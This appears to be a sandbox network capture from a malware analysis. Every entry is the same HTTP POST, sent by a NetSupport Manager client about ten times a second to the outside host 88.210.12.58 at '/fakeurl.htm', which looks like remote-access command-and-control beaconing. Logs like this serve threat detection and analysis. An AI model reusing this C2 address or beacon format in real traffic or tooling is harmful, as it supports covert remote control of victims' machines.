Dec 6, 2024 10:42:07.357037067 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.457967043 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.559041023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.658994913 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.758986950 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.858997107 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:07.959980011 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.060949087 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.161098957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.262015104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.365828991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.465812922 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.565805912 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.665812016 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.766067982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.866086960 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:08.969827890 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.066967010 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.166980982 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.268007040 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.368995905 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.469980001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.570024967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.670993090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.770971060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.871974945 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:09.973009109 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.074004889 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.175832033 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.274991989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.379853964 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.475999117 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.576961040 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.679847956 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.778009892 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.878987074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:10.979882956 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.080106020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.180016041 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.281008959 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.381999016 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.482105970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.582035065 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.683016062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.782996893 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.882988930 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:11.984014034 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.085004091 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.184979916 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.289899111 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.386087894 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.489871979 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.588109970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.688014984 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.788049936 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.888088942 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:12.989037991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.092017889 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.190032005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.291034937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.391026020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.493472099 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.593972921 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.695004940 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.795027018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.896043062 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:13.997028112 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.096980095 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.198012114 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.298015118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.399032116 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.501893044 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.601871967 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.701849937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.800010920 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:14.900980949 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.001002073 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.101990938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.202013969 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.303005934 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.402991056 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.503073931 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.604060888 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.706276894 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.807116985 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:15.908085108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.008029938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.108052015 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.209858894 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.309557915 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.409022093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.510735035 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:42:16.611110926 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
